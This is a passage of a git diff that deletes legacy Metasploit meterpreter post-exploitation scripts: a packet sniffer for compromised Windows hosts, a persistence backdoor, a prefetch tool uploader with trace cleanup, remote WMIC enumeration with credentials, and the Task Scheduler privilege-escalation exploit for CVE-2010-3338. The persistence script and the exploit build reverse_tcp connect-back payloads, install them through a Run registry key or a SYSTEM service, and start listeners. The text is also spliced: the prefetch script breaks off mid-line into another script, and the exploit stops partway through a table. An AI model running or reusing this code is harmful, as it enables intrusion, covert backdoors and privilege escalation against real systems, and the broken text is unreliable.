ba3e5dc1e2..0000000000 --- a/scripts/meterpreter/packetrecorder.rb +++ /dev/null @@ -1,219 +0,0 @@ -## -# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. -# If you'd like to imporve this script, please try to port it as a post -# module instead. Thank you. -## - - -# Author: Carlos Perez at carlos_perez[at]darkoperator.com -#------------------------------------------------------------------------------- -################## Variable Declarations ################## - -@client = client - -# Interval for recording packets -rec_time = 30 - -# Interface ID -int_id = nil - -# List Interfaces -list_int = nil - -# Log Folder -log_dest = nil -@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu."], - "-t" => [ true, "Time interval in seconds between recollection of packet, default 30 seconds."], - "-i" => [ true, "Interface ID number where all packet capture will be done."], - "-li" => [ false, "List interfaces that can be used for capture."], - "-l" => [ true, "Specify and alternate folder to save PCAP file."] -) -meter_type = client.platform - -################## Function Declarations ################## - -# Usage Message Function -#------------------------------------------------------------------------------- -def usage - print_line "Meterpreter Script for capturing packets in to a PCAP file" - print_line "on a target host given a interface ID." - print_line(@exec_opts.usage) - raise Rex::Script::Completed -end - -# Wrong Meterpreter Version Message Function -#------------------------------------------------------------------------------- -def wrong_meter_version(meter = meter_type) - print_error("#{meter} version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed -end - -# Function for creating log folder and returning log pa -#------------------------------------------------------------------------------- -def log_file(log_path = nil) - #Get hostname - host = @client.sys.config.sysinfo["Computer"] - - # Create Filename info to be appended to downloaded files - filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") - - # Create a directory for the logs - if log_path - logs = ::File.join(log_path, 'logs', 'packetrecorder', host + filenameinfo ) - else - logs = ::File.join(Msf::Config.log_directory, "scripts", 'packetrecorder', host + filenameinfo ) - end - - # Create the log directory - ::FileUtils.mkdir_p(logs) - - #logfile name - logfile = logs + ::File::Separator + host + filenameinfo + ".cap" - return Rex::FileUtils.clean_path(logfile) -end - -#Function for Starting Capture -#------------------------------------------------------------------------------- -def startsniff(interface_id) - begin - #Load Sniffer module - @client.core.use("sniffer") - print_status("Starting Packet capture on interface #{interface_id}") - #starting packet capture with a buffer size of 200,000 packets - @client.sniffer.capture_start(interface_id, 200000) - print_good("Packet capture started") - rescue ::Exception => e - print_status("Error Starting Packet Capture: #{e.class} #{e}") - raise Rex::Script::Completed - end -end - -#Function for Recording captured packets into PCAP file -#------------------------------------------------------------------------------- -def packetrecord(packtime, logfile,intid) - begin - rec = 1 - print_status("Packets being saved in to #{logfile}") - print_status("Packet capture interval is #{packtime} Seconds") - #Inserting Packets every number of seconds specified - while rec == 1 - path_cap = logfile - path_raw = logfile + '.raw' - fd = ::File.new(path_raw, 'wb+') - #Flushing Buffers - res = @client.sniffer.capture_dump(intid) - bytes_all = res[:bytes] || 0 - bytes_got = 0 - bytes_pct = 0 - while (bytes_all > 0) - res = @client.sniffer.capture_dump_read(intid,1024*512) - bytes_got += res[:bytes] - pct = ((bytes_got.to_f / bytes_all.to_f) * 100).to_i - if(pct > bytes_pct) - bytes_pct = pct - end - break if res[:bytes] == 0 - fd.write(res[:data]) - end - - fd.close - #Converting raw file to PCAP - fd = nil - if(::File.exist?(path_cap)) - fd = ::File.new(path_cap, 'ab+') - else - fd = ::File.new(path_cap, 'wb+') - fd.write([0xa1b2c3d4, 2, 4, 0, 0, 65536, 1].pack('NnnNNNN')) - end - od = ::File.new(path_raw, 'rb') - - # TODO: reorder packets based on the ID (only an issue if the buffer wraps) - while(true) - buf = od.read(20) - break if not buf - - idh,idl,thi,tlo,len = buf.unpack('N5') - break if not len - if(len > 10000) - print_error("Corrupted packet data (length:#{len})") - break - end - - pkt_ts = Rex::Proto::SMB::Utils.time_smb_to_unix(thi,tlo) - pkt = od.read(len) - fd.write([pkt_ts,0,len,len].pack('NNNN')+pkt) - end - od.close - fd.close - - ::File.unlink(path_raw) - sleep(2) - sleep(packtime.to_i) - - end - rescue::Exception => e - print("\n") - print_status("#{e.class} #{e}") - print_good("Stopping Packet sniffer...") - @client.sniffer.capture_stop(intid) - end -end - -# Function for listing interfaces -# ------------------------------------------------------------------------------ -def int_list() - begin - @client.core.use("sniffer") - ifaces = @client.sniffer.interfaces() - - print_line() - - ifaces.each do |i| - print_line(sprintf("%d - '%s' ( type:%d mtu:%d usable:%s dhcp:%s wifi:%s )", - i['idx'], i['description'], - i['type'], i['mtu'], i['usable'], i['dhcp'], i['wireless']) - ) - end - - print_line() - rescue ::Exception => e - print_error("Error listing interface: #{e.class} #{e}") - end - raise Rex::Script::Completed -end - -################## Main ################## -@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-h" - usage - when "-i" - int_id = val.to_i - when "-l" - log_dest = val - when "-li" - list_int = 1 - when "-t" - rec_time = val - end -} - -# Check for Version of Meterpreter -wrong_meter_version(meter_type) if meter_type !~ /win32|win64/i - -if !int_id.nil? or !list_int.nil? - if not is_uac_enabled? or is_admin? - if !list_int.nil? - int_list - else - pcap_file = log_file(log_dest) - startsniff(int_id) - packetrecord(rec_time,pcap_file,int_id) - end - else - print_error("Access denied (UAC enabled?)") - end -else - usage -end diff --git a/scripts/meterpreter/persistence.rb b/scripts/meterpreter/persistence.rb deleted file mode 100644 index a191115725..0000000000 --- a/scripts/meterpreter/persistence.rb +++ /dev/null @@ -1,259 +0,0 @@ -# Author: Carlos Perez at carlos_perez[at]darkoperator.com -#------------------------------------------------------------------------------- -################## Variable Declarations ################## - -## -# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. -# If you'd like to imporve this script, please try to port it as a post -# module instead. Thank you. -## - -# Meterpreter Session -@client = client - -key = "HKLM" - -# Default parameters for payload -rhost = Rex::Socket.source_address("1.2.3.4") -rport = 4444 -delay = 5 -install = false -autoconn = false -serv = false -altexe = nil -target_dir = nil -payload_type = "windows/meterpreter/reverse_tcp" -script = nil -script_on_target = nil - - -@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "This help menu"], - "-r" => [ true, "The IP of the system running Metasploit listening for the connect back"], - "-p" => [ true, "The port on which the system running Metasploit is listening"], - "-i" => [ true, "The interval in seconds between each connection attempt"], - "-X" => [ false, "Automatically start the agent when the system boots"], - "-U" => [ false, "Automatically start the agent when the User logs on"], - "-S" => [ false, "Automatically start the agent on boot as a service (with SYSTEM privileges)"], - "-A" => [ false, "Automatically start a matching exploit/multi/handler to connect to the agent"], - "-L" => [ true, "Location in target host to write payload to, if none \%TEMP\% will be used."], - "-T" => [ true, "Alternate executable template to use"], - "-P" => [ true, "Payload to use, default is windows/meterpreter/reverse_tcp."] -) - -################## Function Declarations ################## - -# Usage Message Function -#------------------------------------------------------------------------------- -def usage - print_line "Meterpreter Script for creating a persistent backdoor on a target host." - print_line(@exec_opts.usage) - raise Rex::Script::Completed -end - -# Wrong Meterpreter Version Message Function -#------------------------------------------------------------------------------- -def wrong_meter_version(meter) - print_error("#{meter} version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed -end - -# Function for Creating the Payload -#------------------------------------------------------------------------------- -def create_payload(payload_type,lhost,lport) - print_status("Creating Payload=#{payload_type} LHOST=#{lhost} LPORT=#{lport}") - payload = payload_type - pay = client.framework.payloads.create(payload) - pay.datastore['LHOST'] = lhost - pay.datastore['LPORT'] = lport - return pay.generate -end - -# Function for Creating persistent script -#------------------------------------------------------------------------------- -def create_script(delay,altexe,raw,is_x64) - if is_x64 - if altexe - vbs = ::Msf::Util::EXE.to_win64pe_vbs(@client.framework, raw, - {:persist => true, :delay => delay, :template => altexe}) - else - vbs = ::Msf::Util::EXE.to_win64pe_vbs(@client.framework, raw, - {:persist => true, :delay => delay}) - end - else - if altexe - vbs = ::Msf::Util::EXE.to_win32pe_vbs(@client.framework, raw, - {:persist => true, :delay => delay, :template => altexe}) - else - vbs = ::Msf::Util::EXE.to_win32pe_vbs(@client.framework, raw, - {:persist => true, :delay => delay}) - end - end - print_status("Persistent agent script is #{vbs.length} bytes long") - return vbs -end - -# Function for creating log folder and returning log path -#------------------------------------------------------------------------------- -def log_file(log_path = nil) - #Get hostname - host = @client.sys.config.sysinfo["Computer"] - - # Create Filename info to be appended to downloaded files - filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") - - # Create a directory for the logs - if log_path - logs = ::File.join(log_path, 'logs', 'persistence', - Rex::FileUtils.clean_path(host + filenameinfo) ) - else - logs = ::File.join(Msf::Config.log_directory, 'persistence', - Rex::FileUtils.clean_path(host + filenameinfo) ) - end - - # Create the log directory - ::FileUtils.mkdir_p(logs) - - #logfile name - logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc" - return logfile -end - -# Function for writing script to target host -#------------------------------------------------------------------------------- -def write_script_to_target(target_dir,vbs) - if target_dir - tempdir = target_dir - else - tempdir = @client.fs.file.expand_path("%TEMP%") - end - tempvbs = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".vbs" - fd = @client.fs.file.new(tempvbs, "wb") - fd.write(vbs) - fd.close - print_good("Persistent Script written to #{tempvbs}") - # Escape windows pathname separators. - file_local_write(@clean_up_rc, "rm #{tempvbs.gsub(/\\/, '//')}\n") - return tempvbs -end - -# Function for setting exploit/multi/handler for autocon -#------------------------------------------------------------------------------- -def set_handler(selected_payload,rhost,rport) - print_status("Starting connection handler at port #{rport} for #{selected_payload}") - mul = client.framework.exploits.create("multi/handler") - mul.datastore['WORKSPACE'] = @client.workspace - mul.datastore['PAYLOAD'] = selected_payload - mul.datastore['LHOST'] = rhost - mul.datastore['LPORT'] = rport - mul.datastore['EXITFUNC'] = 'process' - mul.datastore['ExitOnSession'] = false - - mul.exploit_simple( - 'Payload' => mul.datastore['PAYLOAD'], - 'RunAsJob' => true - ) - print_good("exploit/multi/handler started!") -end - -# Function to execute script on target and return the PID of the process -#------------------------------------------------------------------------------- -def targets_exec(script_on_target) - print_status("Executing script #{script_on_target}") - proc = session.sys.process.execute("cscript \"#{script_on_target}\"", nil, {'Hidden' => true}) - print_good("Agent executed with PID #{proc.pid}") - return proc.pid -end - -# Function to install payload in to the registry HKLM or HKCU -#------------------------------------------------------------------------------- -def write_to_reg(key,script_on_target) - nam = Rex::Text.rand_text_alpha(rand(8)+8) - key_path = "#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" - print_status("Installing into autorun as #{key_path}\\#{nam}") - if key - registry_setvaldata("#{key_path}", nam, script_on_target, "REG_SZ") - print_good("Installed into autorun as #{key_path}\\#{nam}") - file_local_write(@clean_up_rc, "reg deleteval -k '#{key_path}' -v #{nam}\n") - else - print_error("Error: failed to open the registry key for writing") - end -end - -# Function to install payload as a service -#------------------------------------------------------------------------------- -def install_as_service(script_on_target) - if not is_uac_enabled? or is_admin? - print_status("Installing as service..") - nam = Rex::Text.rand_text_alpha(rand(8)+8) - print_status("Creating service #{nam}") - service_create(nam, nam, "cscript \"#{script_on_target}\"") - file_local_write(@clean_up_rc, "execute -H -f sc -a \"delete #{nam}\"\n") - else - print_error("Insufficient privileges to create service") - end -end - - -################## Main ################## -@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-h" - usage - when "-r" - rhost = val - when "-p" - rport = val.to_i - when "-i" - delay = val.to_i - when "-X" - install = true - key = "HKLM" - when "-S" - serv = true - when "-U" - install = true - key = "HKCU" - when "-A" - autoconn = true - when "-L" - target_dir = val - when "-T" - altexe = val - when "-P" - payload_type = val - end -} - -# Check for Version of Meterpreter -unless client.platform == 'windows' && [ARCH_X86, ARCH_X64].include?(client.arch) - wrong_meter_version(client.session_type) -end - -print_status("Running Persistence Script") -# Create undo script -@clean_up_rc = log_file() -print_status("Resource file for cleanup created at #{@clean_up_rc}") -# Create and Upload Payload -raw = create_payload(payload_type, rhost, rport) -script = create_script(delay, altexe, raw, payload_type.include?('/x64/')) -script_on_target = write_script_to_target(target_dir, script) - -# Start exploit/multi/handler -if autoconn - set_handler(payload_type, rhost, rport) -end - -# Execute on target host -targets_exec(script_on_target) - -# Install in registry -if install - write_to_reg(key,script_on_target) -end - -# Install as a service -if serv - install_as_service(script_on_target) -end - diff --git a/scripts/meterpreter/prefetchtool.rb b/scripts/meterpreter/prefetchtool.rb deleted file mode 100644 index 97e346b5ff..0000000000 --- a/scripts/meterpreter/prefetchtool.rb +++ /dev/null @@ -1,195 +0,0 @@ -## -# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. -# If you'd like to imporve this script, please try to port it as a post -# module instead. Thank you. -## - - - -#Meterpreter script for extracting information from windows prefetch folder -#Provided by Milo at keith.lee2012[at]gmail.com -#Verion: 0.1.0 - -require 'fileutils' -require 'net/http' -require 'digest/sha1' - -@session = client -@host,@port = @session.session_host, session.session_port - -# Script Options -@@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu."], - "-p" => [ false, "List Installed Programs"], - "-c" => [ false, "Disable SHA1/MD5 checksum"], - "-x" => [ true, "Top x Accessed Executables (Based on Prefetch folder)"], - "-i" => [ false, "Perform lookup for software name"], - "-l" => [ false, "Download Prefetch Folder Analysis Log"] -) - -@tempdir = @session.sys.config.getenv('TEMP') - -#--------------------------------------------------------------------------------------------------------- -def read_program_list - key = @session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall', KEY_READ) - sfmsvals = key.enum_key - sfmsvals.each do |test1| - begin - key2 = "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\"+test1 - root_key2, base_key2 = @session.sys.registry.splitkey(key2) - value1 = "DisplayName" - value2 = "DisplayVersion" - open_key = @session.sys.registry.open_key(root_key2, base_key2, KEY_READ) - v1 = open_key.query_value(value1) - v2 = open_key.query_value(value2) - print_status("#{v1.data}\t(Version: #{v2.data})") - rescue - end - end -end - -def prefetch_dump(options, logging=false) - - lexe = File.join(Msf::Config.data_directory, "prefetch.exe") - rexe = sprintf("%.5d",rand(100000)) + ".exe" - rlog = sprintf("%.5d",rand(100000)) + ".txt" - - print_status("Uploading Prefetch-tool for analyzing Prefetch folder...") - begin - @session.fs.file.upload_file("#{@tempdir}\\#{rexe}", lexe) - print_status("Prefetch-tool uploaded as #{@tempdir}\\#{rexe}") - rescue ::Interrupt; raise $! - rescue ::Exception => e - print_status("The following error was encountered: #{e.class} #{e}") - return - end - - begin - - if(logging) - options += " --txt=#{@tempdir}\\#{rlog}" - end - - r = @session.sys.process.execute("cmd.exe /c #{@tempdir}\\#{rexe} #{options} #{rlog}", nil, {'Hidden' => 'true','Channelized' => true}) - while(d = r.channel.read) - d.split("\n").each do |out| - print_status("OUT> #{out.strip}") - end - end - - found = true - while (not found) - found = false - @session.sys.process.get_processes().each do |x| - found = false - if (x['name'].downcase == rexe) - found = true - end - end - sleep(0.5) if found - end - - r.channel.close - r.close - - print_status("Deleting #{rexe} from target...") - @session.sys.process.execute("cmd.exe /c del #{@tempdir}\\#{rexe}", nil, {'Hidden' => 'true'}) - - print_status("Clearing prefetch-tool prefetch entry ...") - @session.sys.process.execute("cmd.exe /c del %windir%\\prefetch\\#{rexe.gsub('.exe','')}*.pf", nil, {'Hidden' => 'true'}) - - if(logging) - logfile = ::File.join(Msf::Config.config_directory, 'logs', 'prefetch', @host + "-" + ::Time.now.strftime("%Y%m%d.%M%S") + ".log") - print_status("[*] Saving prefetch logs to #{logfile}...") - @session.fs.file.download_file(logfile, "#{@tempdir}\\#{rlog}") - print_status("[*] Deleting log file from target...") - @session.sys.process.execute("cmd.exe /c del #{@tempdir}\\#{rlog}", nil, {'Hidden' => 'true'}) - end - - rescue ::Interrupt; raise $! - rescue ::Exception => e - print_status("The following error was encountered: #{e.class} #{e}") - return - end -end - - -#check for proper Meterpreter Platform -def unsupported - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed -end - - - -################## MAIN ################## - -options = "" -logging = false -view_list = false -check_update = false - -@@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-x" - options += " --x=" + val - when "-c" - options += " --disable-md5 --disable-sha1" - when "-p" - view_list = true - when "-i" - options += " --inet-lookup" - when "-l" - logging = true - when "-h" - print_status( "Prefetch-tool Meterpreter Script") - print_line(@@exec_opts.usage) - raise Rex::Script::Completed - end -} -unsupported if client.platform !~ /win32|win64/i -prefetch_local = ::File.join(Msf::Config.data_directory, "prefetch.exe") - -if !(::File.exist?(prefetch_local)) - print_status("No local copy of prefetch.exe, downloading from the internet...") - Net::HTTP.start("prefetch-tool.googlecode.com") do |http| - req = Net::HTTP::Get.new("/files/prefetch.exe") - resp = http.request(req) - ::File.open(::File.join(Msf::Config.data_directory, "prefetch.exe"), "wb") do |fd| - fd.write(resp.body) - end - end - print_status("Downloaded prefetch.exe to #{prefetch_local}") -else - print_status("Checking for an updated copy of prefetch.exe..") - digest = Digest::SHA1.hexdigest(::File.read(prefetch_local, ::File.size(prefetch_local))) - - Net::HTTP.start("code.google.com") do |http| - req = Net::HTTP::Get.new("/p/prefetch-tool/downloads/detail?name=prefetch.exe&can=2&q=") - resp = http.request(req) - body = resp.body - chksum = body.scan(/SHA1 Checksum: <\/th>.* /,'') - chksum.sub!(/ [ false, "Help menu."], - "-t" => [ true, "The target address"], - "-u" => [ true, "User on the target system (If not provided it will use credential of process)"], - "-p" => [ true, "Password of user on target system"] -) - -# Create Filename info to be appended to downloaded files -filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") - -# Create a directory for the logs -logs = ::File.join(Msf::Config.log_directory, 'scripts', 'remotewinenum') - -# Create the log directory -::FileUtils.mkdir_p(logs) - -# WMIC Commands that will be executed on the Target -wmic = [ - 'environment list', - 'share list', - 'nicconfig list', - 'computersystem list', - 'useraccount list', - 'group list', - 'sysaccount list', - 'volume list brief', - 'logicaldisk get description,filesystem,name,size', - 'netlogin get name,lastlogon,badpasswordcount', - 'netclient list brief', - 'netuse get name,username,connectiontype,localname', - 'share get name,path', - 'nteventlog get path,filename,writeable', - 'service list brief', - 'process list brief', - 'startup list full', - 'rdtoggle list', - 'product get name,version', - 'qfe list' -] -################## Function Declarations ################## - -# Function for running a list of WMIC commands stored in a array, returs string -def wmicexec(session,wmic,user,pass,trgt) - print_status("Running WMIC Commands ....") - tmpout = '' - command = nil - runfail = 0 - runningas = session.sys.config.getuid - begin - tmp = session.sys.config.getenv('TEMP') - # Temporary file on windows host to store results - wmicfl = tmp + "\\wmictmp#{rand(100000)}.txt" - - wmic.each do |wmi| - if user == nil - print_status("The commands will be ran under the credentials of #{runningas}") - command = "/node:#{trgt} /append:#{wmicfl} #{wmi}" - else - command = "/user:#{user} /password:#{pass} /node:#{trgt} /append:#{wmicfl} #{wmi}" - end - print_status "\trunning command wimic #{wmi}" - r = session.sys.process.execute("cmd.exe /c echo ***************************************** >> #{wmicfl}",nil, {'Hidden' => 'true'}) - sleep(1) - r = session.sys.process.execute("cmd.exe /c echo Output of wmic #{wmi} from #{trgt} >> #{wmicfl}",nil, {'Hidden' => 'true'}) - sleep(1) - r = session.sys.process.execute("cmd.exe /c echo ***************************************** >> #{wmicfl}",nil, {'Hidden' => 'true'}) - sleep(1) - #print_status "\twmic #{command}" - r = session.sys.process.execute("cmd.exe /c wmic #{command}", nil, {'Hidden' => true}) - #Making sure that wmic finishes before executing next wmic command - prog2check = "wmic.exe" - found = 0 - sleep(2) - while found == 0 - session.sys.process.get_processes().each do |x| - found =1 - if prog2check == (x['name'].downcase) - sleep(0.5) - found = 0 - end - end - end - r.close - end - # Read the output file of the wmic commands - wmioutfile = session.fs.file.new(wmicfl, "rb") - until wmioutfile.eof? - tmpout << wmioutfile.read - end - # Close output file in host - wmioutfile.close - rescue ::Exception => e - print_status("Error running WMIC commands: #{e.class} #{e}") - end - # We delete the file with the wmic command output. - c = session.sys.process.execute("cmd.exe /c del #{wmicfl}", nil, {'Hidden' => true}) - c.close - tmpout -end - -#------------------------------------------------------------------------------ -# Function to generate report header -def headerbuid(session,target,dest) - # Header for File that will hold all the output of the commands - info = session.sys.config.sysinfo - header = "Date: #{::Time.now.strftime("%Y-%m-%d.%H:%M:%S")}\n" - header << "Running as: #{client.sys.config.getuid}\n" - header << "From: #{info['Computer']}\n" - header << "OS: #{info['OS']}\n" - header << "Target: #{target}\n" - header << "\n\n\n" - - print_status("Saving report to #{dest}") - header - -end - -#------------------------------------------------------------------------------ -# Function Help Message -def helpmsg - print("Remote Windows Enumeration Meterpreter Script\n" + - "This script will enumerate windows hosts in the target enviroment\n" + - "given a username and password or using the credential under witch\n" + - "Meterpeter is running using WMI wmic windows native tool.\n" + - "Usage:\n" + - @@exec_opts.usage) -end -################## MAIN ################## -if client.platform =~ /win32|win64/ - localos = session.sys.config.sysinfo - - # Check that the command is not being ran on a Win2k host - # since wmic is not present in Windows 2000 - if localos =~ /(Windows 2000)/ - print_status("This script is not supported to be ran from Windows 2000 servers!!!") - else - # Parsing of Options - @@exec_opts.parse(args) { |opt, idx, val| - case opt - - when "-t" - trg = val - when "-u" - rusr = val - when "-p" - rpass = val - when "-h" - helpmsg - helpcall = 1 - end - - } - #logfile name - dest = logs + "/" + trg + filenameinfo - # Executing main logic of the script - if helpcall == 0 and trg != "" - - # Making sure that is running as System a Username and Password for target machine must be provided - - if is_system? && rusr == nil && rpass == nil - - print_status("Stopped: Running as System and no user provided for connecting to target!!") - - else trg != nil && helpcall != 1 - - file_local_write(dest,headerbuid(session,trg,dest)) - file_local_write(dest,wmicexec(session,wmic,rusr,rpass,trg)) - - end - elsif helpcall == 0 and trg == "" - - helpmsg - end - end -else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed -end diff --git a/scripts/meterpreter/schelevator.rb b/scripts/meterpreter/schelevator.rb deleted file mode 100644 index 1f1f9627b0..0000000000 --- a/scripts/meterpreter/schelevator.rb +++ /dev/null @@ -1,394 +0,0 @@ -## -# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. -# If you'd like to imporve this script, please try to port it as a post -# module instead. Thank you. -## - - - -## -# -# This script exploits the Task Scheduler 2.0 XML 0day exploited by Stuxnet -# -# Disclosed around Oct 22, 2010 -# -# written by jduck -# -# NOTE: Thanks to webDEViL for the information about disable/enable. -# http://www.exploit-db.com/exploits/15589/ -# -# CVE 2010-3338 -# MSB MS10-092 -# -## - -require 'zlib' - -# -# Filter out sessions that this definitely won't work on. -# -unless [ARCH_X64, ARCH_X86, ARCH_JAVA].include(session.arch) - print_error("#{session.arch} is not supported.") - raise Rex::Script::Completed -end - -unless session.platform == 'windows' - print_error("#{session.platform} is not supported.") - raise Rex::Script::Completed -end - -if session.sys.config.sysinfo["Architecture"] == ARCH_X64 && session.arch == ARCH_X86 - # - # WOW64 Filesystem Redirection prevents us opening the file directly. To make matters - # worse, meterpreter/railgun creates things in a new thread, making it much more - # difficult to disable via Wow64EnableWow64FsRedirection. Until we can get around this, - # offer a workaround and error out. - # - print_error("Running against via WOW64 is not supported, try using an x64 meterpreter...") - raise Rex::Script::Completed -end - -vuln = false -winver = session.sys.config.sysinfo["OS"] -affected = [ 'Windows Vista', 'Windows 7', 'Windows 2008' ] -affected.each { |v| - if winver.include? v - vuln = true - break - end -} -if not vuln - print_error("#{winver} is not vulnerable.") - raise Rex::Script::Completed -end - - -# -# We have a chance to succeed, check params -# -@@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-c" => [ true, "Execute the specified command" ], - "-u" => [ true, "Upload and execute the specified file" ], - "-r" => [ true, "The IP of the system running Metasploit listening for the connect back"], - "-p" => [ true, "The port on the remote host where Metasploit is listening"], - "-t" => [ true, "Use the specified task name" ] -) - -def usage - print_line("Schelevator -- Exploit for Windows Vista/7/2008 Task Scheduler 2.0 Privilege Escalation") - print(@@exec_opts.usage) - raise Rex::Script::Completed -end - -rhost = Rex::Socket.source_address -rport = 4444 -taskname = nil -cmd = nil -upload_fn = nil -@@exec_opts.parse(args) { |opt, idx, val| - case opt - - when "-c" - cmd = val - - when "-u" - upload_fn = val - if not ::File.exist?(upload_fn) - raise "Specified file to upload does not exist!" - end - - when "-t" - taskname = val - - when "-h" - usage - - when "-r" - rhost = val - - when "-p" - rport = val.to_i - end -} - -envs = session.sys.config.getenvs('SystemRoot', 'TEMP') -sysdir = envs['SystemRoot'] -tmpdir = envs['TEMP'] - -# Must have at least one of -c or -u -if not cmd and not upload_fn - print_status("Using default reverse-connect meterpreter payload; -c or -u not specified") - - # Get the exe payload. - pay = client.framework.payloads.create("windows/meterpreter/reverse_tcp") - pay.datastore['LHOST'] = rhost - pay.datastore['LPORT'] = rport - raw = pay.generate - exe = Msf::Util::EXE.to_win32pe(client.framework, raw) - #and placing it on the target in %TEMP% - tempexename = Rex::Text.rand_text_alpha(rand(8)+6) - cmd = tmpdir + "\\" + tempexename + ".exe" - print_status("Preparing connect back payload to host #{rhost} and port #{rport} at #{cmd}") - fd = client.fs.file.new(cmd, "wb") - fd.write(exe) - fd.close - - #get handler to be ready - handler = client.framework.exploits.create("multi/handler") - handler.datastore['PAYLOAD'] = "windows/meterpreter/reverse_tcp" - handler.datastore['LHOST'] = rhost - handler.datastore['LPORT'] = rport - handler.datastore['InitialAutoRunScript'] = "migrate -f" - handler.datastore['ExitOnSession'] = false - #start a handler to be ready - handler.exploit_simple( - 'Payload' => handler.datastore['PAYLOAD'], - 'RunAsJob' => true - ) -end - -if cmd - print_status("Using command: #{cmd}") -end - -# -# Upload the payload command if needed -# -if upload_fn - begin - location = tmpdir.dup - ext = upload_fn.split('.') - if ext - ext = ext.last.downcase - if ext == "exe" - location << "\\svhost#{rand(100)}.exe" - else - location << "\\TMP#{rand(100)}.#{ext}" - end - else - location << "\\TMP#{rand(100)}" - end - - print_status("Uploading #{upload_fn} to #{location}....") - session.fs.file.upload_file(location, upload_fn) - print_status("Upload complete.") - rescue ::Exception => e - print_error("Error uploading file #{upload_fn}: #{e.class} #{e}") - raise e - end - - cmd ||= location -end - -def crc32(data) - table = Zlib.crc_table - crc = 0xffffffff - data.unpack('C*').each { |b| - crc = table[(crc & 0xff) ^ b] ^ (crc >> 8) - } - crc -end - -def fix_crc32(data, old_crc) - # - # CRC32 stuff from ESET (presumably reversed from Stuxnet, which was presumably - # reversed from Microsoft's code) - # - bwd_table = [ - 0x00000000, 0xDB710641, 0x6D930AC3, 0xB6E20C82, - 0xDB261586, 0x005713C7, 0xB6B51F45, 0x6DC41904, - 0x6D3D2D4D, 0xB64C2B0C, 0x00AE278E, 0xDBDF21CF, - 0xB61B38CB, 0x6D6A3E8A, 0xDB883208, 0x00F93449, - 0xDA7A5A9A, 0x010B5CDB, 0xB7E95059, 0x6C985618, - 0x015C4F1C, 0xDA2D495D, 0x6CCF45DF, 0xB7BE439E, - 0xB74777D7, 0x6C367196, 0xDAD47D14, 0x01A57B55, - 0x6C616251, 0xB7106410, 0x01F26892, 0xDA836ED3, - 0x6F85B375, 0xB4F4B534, 0x0216B9B6, 0xD967BFF7, - 0xB4A3A6F3, 0x6FD2A0B2, 0xD930AC30, 0x0241AA71, - 0x02B89E38, 0xD9C99879, 0x6F2B94FB, 0xB45A92BA, - 0xD99E8BBE, 0x02EF8DFF, 0xB40D817D, 0x6F7C873C, - 0xB5FFE9EF, 0x6E8EEFAE, 0xD86CE32C, 0x031DE56D, - 0x6ED9FC69, 0xB5A8FA28, 0x034AF6AA, 0xD83BF0EB, - 0xD8C2C4A2, 0x03B3C2E3, 0xB551CE61, 0x6E20C820, - 0x03E4D124, 0xD895D765, 0x6E77DBE7, 0xB506DDA6, - 0xDF0B66EA, 0x047A60AB, 0xB2986C29, 0x69E96A68, - 0x042D736C, 0xDF5C752D, 0x69BE79AF, 0xB2CF7FEE, - 0xB2364BA7, 0x69474DE6, 0xDFA54164, 0x04D44725, - 0x69105E21, 0xB2615860, 0x048354E2, 0xDFF252A3, - 0x05713C70, 0xDE003A31, 0x68E236B3, 0xB39330F2, - 0xDE5729F6, 0x05262FB7, 0xB3C42335, 0x68B52574, - 0x684C113D, 0xB33D177C, 0x05DF1BFE, 0xDEAE1DBF, - 0xB36A04BB, 0x681B02FA, 0xDEF90E78, 0x05880839, - 0xB08ED59F, 0x6BFFD3DE, 0xDD1DDF5C, 0x066CD91D, - 0x6BA8C019, 0xB0D9C658, 0x063BCADA, 0xDD4ACC9B, - 0xDDB3F8D2, 0x06C2FE93, 0xB020F211, 0x6B51F450, - 0x0695ED54, 0xDDE4EB15, 0x6B06E797, 0xB077E1D6, - 0x6AF48F05, 0xB1858944, 0x076785C6, 0xDC168387, - 0xB1D29A83, 0x6AA39CC2, 0xDC419040, 0x07309601, - 0x07C9A248, 0xDCB8A409, 0x6A5AA88B, 0xB12BAECA, - 0xDCEFB7CE, 0x079EB18F, 0xB17CBD0D, 0x6A0DBB4C, - 0x6567CB95, 0xBE16CDD4, 0x08F4C156, 0xD385C717, - 0xBE41DE13, 0x6530D852, 0xD3D2D4D0, 0x08A3D291, - 0x085AE6D8, 0xD32BE099, 0x65C9EC1B, 0xBEB8EA5A, - 0xD37CF35E, 0x080DF51F, 0xBEEFF99D, 0x659EFFDC, - 0xBF1D910F, 0x646C974E, 0xD28E9BCC, 0x09FF9D8D, - 0x643B8489, 0xBF4A82C8, 0x09A88E4A, 0xD2D9880B, - 0xD220BC42, 0x0951BA03, 0xBFB3B681, 0x64C2B0C0, - 0x0906A9C4, 0xD277AF85, 0x6495A307, 0xBFE4A546, - 0x0AE278E0, 0xD1937EA1, 0x67717223, 0xBC007462, - 0xD1C46D66, 0x0AB56B27, 0xBC5767A5, 0x672661E4, - 0x67DF55AD, 0xBCAE53EC, 0x0A4C5F6E, 0xD13D592F, - 0xBCF9402B, 0x6788466A, 0xD16A4AE8, 0x0A1B4CA9, - 0xD098227A, 0x0BE9243B, 0xBD0B28B9, 0x667A2EF8, - 